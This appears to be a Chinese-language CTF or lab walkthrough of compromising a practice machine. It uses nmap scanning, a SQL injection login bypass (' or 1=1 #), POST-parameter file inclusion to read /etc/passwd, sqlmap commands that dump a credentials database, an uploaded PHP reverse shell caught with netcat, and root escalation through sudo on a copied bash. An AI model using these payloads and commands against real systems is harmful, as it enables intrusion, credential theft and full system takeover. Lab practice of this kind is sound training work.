扫描
目标机的MAC地址
得到目标地址为 192.168.150.128
开始扫描端口
nmap -p- -A 192.168.150.128
尝试登入80端口
点击Login尝试登入
弱口令/默认口令/SQL注入/CMS漏洞利用/敏感信息寻找/字典爆破
弱密码无效
尝试SQL注入,输入’
暴露了sql查询语句,可以看到这个sql查询语句对username字段的单引号进行了转义(‘),而password部分没有。因此我们只要username随便输,password用万能密码即可登录:’ or 1=1 #
成功登陆
开始搜集有用的信息
登录成功,进来之后有提示语,说着应该是alamo的用户:
左侧有一系列栏目可以尝试,首先点击Directory,如下:
发现url栏里面存在page= 尝试文件包含 读取/etc/passwd
读取失败,接着找下面的信息
发现文件上传,尝试一下
发现失败,并且提示禁止上传到家目录
提示:
对于用户alamo来说,家目录上传是不被允许的。这句话暴露了两点信息,第一,文件上传之后的上传位置可能是用户的家目录,也就是/home/alamo,第二,alamo的权限不够,需要寻找更加高权限的用户。如何以更高权限的用户登录呢?我们可以试图找到存在其他用户的用户名,然后通过SQL注入登录进其他用户的账号。那么如何找到其他用户的用户名呢?可以通过寻找文件包含漏洞,读取/etc/passwd文件。
接着找
开始尝试"文件包含+SQL注入实现越权/直接越权"
先去寻找文件包含,注意观察各个页面的url,发现只有参数page,这个我们也简单尝试过了。既然url中暴露的参数我们无法利用,不妨找找是否存在POST型的参数,即存在文件包含漏洞的参数有可能存在于请求体中。
上图这个界面的下拉选项可以选择一些文本信息。很可能选择一项之后,点击Display File就会向后台发送请求,请求体中含有参数,参数的值就是下图中的这些选项
通过按F12查看网页源代码中元素的方式查看这个提交的参数
这里可以在源代码中看到,通过参数text_file_name的值的改变,实现不同的Display File,比如如果这里我们选择Email后点击Display File,发送的请求包的请求体中就含有text_file_name=ssp/email.txt,那么如果我们修改前端代码,把ssp/email.txt换成我们想读取的/etc/passwd,如果text_file_name这个参数存在文件包含漏洞的话,我们应该就能读取/etc/passwd了,试一试:
由于我们已经获得了完整的用户列表,因此让我们首先选择任意一个随机用户,然后使用以下命令运行 SQLMAP,以便找出其他详细信息
首先,我们以用户 etenenbaum 为例
python3 sqlmap.py -u http://192.168.150.128/index.php?page=login.php --forms --data="username=etenenbaum" --dbs --batch
我们得到了所有数据库的列表!!现在我们尝试使用 creds 数据库,使用以下命令提取其他用户的详细信息
python3 sqlmap.py -u http://192.168.150.128/index.php?page=login.php --forms --data="username=etenenbaum" -D creds --tables --dump --batch
我们能够使用用户 etenenbaum 和相应的密码(如上所示)登录网站。下一步是在 Kali 机器上设置 netcat 侦听器。
先生成一个shell.php
看来etenenbaum这个用户的权限可以上传文件,那我们试图上传php的反弹shell文件,先构造shell。可以手动写,这回我们直接在kali中搜索并复制到当前目录
locate php-reverse
cp /usr/share/laudanum/php/php-reverse-shell.php .
然后我们vim这个文件,修改反弹shell的ip和端口,ip设置为kali的ip,端口设置为6666
开始上传php-reverse-shell.php
紧接着在etenenbaum的家目录http://192.168.150.128/~etenenbaum/寻找这个文件:
提示权限不够,无法触发代码
那我们进行压缩包转换的背后逻辑是用tar xzf解压,那么我们可以用tar czf打包文件,再进行上传:
tar czf shell.tar.gz php-reverse-shell.php
好像没有看到新的文件,不过有可能是后台已经从myshell.tar.gz中解压出了php-reverse-shell.php,并覆盖了之前的文件,因此我们这次再点击php-reverse-shell.php试试,看看能不能触发代码执行
回看nc监听的端口,成功拿到了反弹shell!
提权
先看看自己是谁运行 sudo -l
cd /bin
cp /bin/bash /tmp/
cd /tmp
ls -l
sudo chown root:root /tmp/bash
ls -al /tmp
sudo mv /tmp/bash /bin/tar
sudo /bin/tar
id